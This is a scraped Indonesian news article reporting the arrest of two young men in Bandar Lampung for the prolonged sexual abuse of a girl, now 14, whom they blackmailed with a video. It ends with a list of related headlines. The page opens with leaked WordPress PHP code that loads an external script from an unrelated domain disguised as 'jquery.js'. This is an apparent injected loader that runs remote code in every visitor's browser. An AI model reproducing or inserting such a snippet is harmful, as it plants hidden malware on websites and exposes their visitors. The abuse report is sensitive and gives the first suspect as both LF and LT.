add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); Ancam Sebar Video Asusila, Dua Remaja Asal Lampung Selatan Rudapaksa Gadis 14 Tahun - Atmosfirnews.id

Ancam Sebar Video Asusila, Dua Remaja Asal Lampung Selatan Rudapaksa Gadis 14 Tahun

- Jurnalis

Minggu, 3 November 2024 - 09:17 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy


Bandar Lampung – Atmosfirnews.id
Polsek Sukarame meringkus LF (18) dan ND (21), lantaran diduga terlibat kasus pemerkosaan terhadap anak di bawah umur.

Anak dibawah umur menjadi korban pemerkosaan sejak Sekolah Dasar (SD) hingga Sekolah Menengah Pertama (SMP).

Kedua warga Way Hui, Lampung Selatan ini ditangkap pada Selasa (29/10).

Kapolsek Sukarame, Kompol M Rohmawan mengatakan pelaku ditangkap di dua lokasi yang berbeda di wilayah kota Bandar Lampung.

“Pelaku LT ditangkap di Embung Itera. Setelah dilakukan pengembangan, petugas kemudian menangkap ND di Korpri, Bandar Lampung,” kata Kapolsek Sukarame, Kompol M Rohmawan, Sabtu (2/11/2024).

Rohmawan menjelaskan pelaku melakukan perbuatan asusila sejak korban D (14) duduk di bangku sekolah SD.

Baca Juga :  KNPI Fasilitasi Ngopi Elit Pemuda Lampung, Cipayung Plus: Segera Gelar Adu Gagasan Cakada!

“Jadi untuk korban itu SD kelas 6 umurnya 12 tahun, dilakukan pelecehan selama 2 tahun atau hingga korban SMP kelas 2 atau 14 tahun,” ucapnya.

Kasus itu pun akhirnya terbongkar berawal bibik korban menemukan surat di sebelah pintu depan rumah korban.

“Surat itu dituliskan oleh pelaku. Surat itu kemudian ditanyakan kepada korban, ternyata korban mengaku dan langsung melaporkan kepada pihak kepolisian,” ungkapnya.

Kapolsek menjelaskan, pelaku juga melakukan pengancaman terhadap korban dengan mengancam akan menyebarkan video kepada orang-orang.

“Karena yang bersangkutan ini pertama kali bersetubuh dengan korban menvideokan, jadi video ini sebagai alat, jika tidak mengikuti permintaan akan viralkan,” ujarnya.

Baca Juga :  Tindak Tegas Aksi Premanisme, Polisi Jamin Keamanan Berinvestasi Di Bandar Lampung

Berdasarkan hasil pemeriksaan, pelaku mengaku kenal dengan korban saat keduanya bertemu di salah satu warung.

“Korban dan pelaku kenal ditempat warung yang ada wifi gratis, kenalnya disitu, untuk orang tua korban tuna rungu bapak dan ibunya,” sebutnya

“Peran masing masing pelaku, LT ini yang mempunyai video asusila. Sedangkan ND ini teman SD nya Latif,” lanjutnya.

Atas perbuatannya, pelaku Latif dijerat dengan Pasal 81 ayat 1 UU RI NO 17 tahun 2016 dengan ancaman 15 tahun. Sedangkan Nando, Pasal 81 ayat 2 UU RI NO 17 tahun 2016 ancaman 8 tahun.

Penulis : Yudhi

Berita Terkait

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan
Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak
RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup
Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati
Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi
HUT ke-81 RI, Rektor Saburai Ajak Kampus Jadi Kekuatan untuk Kemajuan Bangsa
Rayakan HUT RI ke-81, Warga RT 03 Pulau Bawean III Sukarame 1 Aktif Berkarya dan Berinovasi
57 Mahasiswa Ikuti Matrikulasi Magister Manajemen Universitas Saburai, Rektor Tekankan Kesiapan Akademik
Berita ini 68 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 22:11 WIB

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan

Senin, 24 Agustus 2026 - 14:05 WIB

Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak

Sabtu, 22 Agustus 2026 - 21:38 WIB

RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup

Jumat, 21 Agustus 2026 - 11:05 WIB

Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati

Selasa, 18 Agustus 2026 - 14:43 WIB

Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi

Berita Terbaru